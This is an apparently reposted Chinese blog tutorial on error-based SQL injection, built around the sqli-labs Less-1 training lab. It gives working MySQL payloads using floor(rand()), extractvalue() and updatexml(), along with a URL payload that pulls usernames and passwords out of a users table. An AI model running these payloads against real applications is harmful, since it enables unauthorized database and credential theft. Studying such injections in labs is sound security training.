美文网首页web安全
报错注入(基于sqli-labs第一关)

报错注入(基于sqli-labs第一关)

作者: shadowflow | 来源:发表于2018-07-10 13:27 被阅读0次
    报错注入原理

    构造payload让信息通过错误提示回显出来

    应用场景:

    • 查询不回显内容,会打印错误消息
    • update,insert等语句,会打印错误信息  (UNION联合注入不适用于update,insert等语句之后注入)

    典型存在报错注入的代码:

    if($row)
    {
          echo 'Your Login name:'. $row['username'];
    else
    {
          print_r(mysql_error());
    }
    
    报错注入方法:

    凡是可以让错误信息显示的函数(语句),都能实现报错注入,这里列举3种:


    floor():

    select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
    注:
      1. concat: 连接字符串功能
      2. floor: 取float的整数值(向下取整)
      3. rand: 取0~1之间的随机浮点值
      4. group by: 根据一个或多个列对结果集进行分组并有排序功能
      5. floor(rand(0)*2): 随机产生0或1
    
    sqli-labs第一关:
    http://127.0.0.1/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select version()),0x7e,floor(rand(0)*2)))--+
    波浪号之间的就是执行结果
    

    group by 对 rand()函数进行操作时产生错误


    extractvalue():

    select extractvalue(1,concat(0x7e,(select user()),0x7e));
    第一个0x7e只要是非法xpath格式就行
    ectractvalue():接受两个参数,第一个XML文档,第二个XPATH语句
    

    xpath语法错误产生报错


    updatexml():

    select updatexml(1,concat(0x7e,(select user(),0x7e),1);
    http://127.0.0.1/Less-1/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
    中间参数是xpath语法
    

    对xpath语法错误产生报错

    TIP:

    报错注入对返回的数据长度是有限制的,最多有32位,怎么办?
    答:用substr对数据进行截取。

    http://127.0.0.1/Less-1/?id=1' and (select updatexml(1,concat(0x7e,(select substr(concat(username,0x7e,password),1,6) from users limit 0,1),0x7e),1))--+
    返回结果:~Dumb~D~
    

    相关文章

      网友评论

        本文标题:报错注入(基于sqli-labs第一关)

        本文链接:https://www.haomeiwen.com/subject/pnwxpftx.html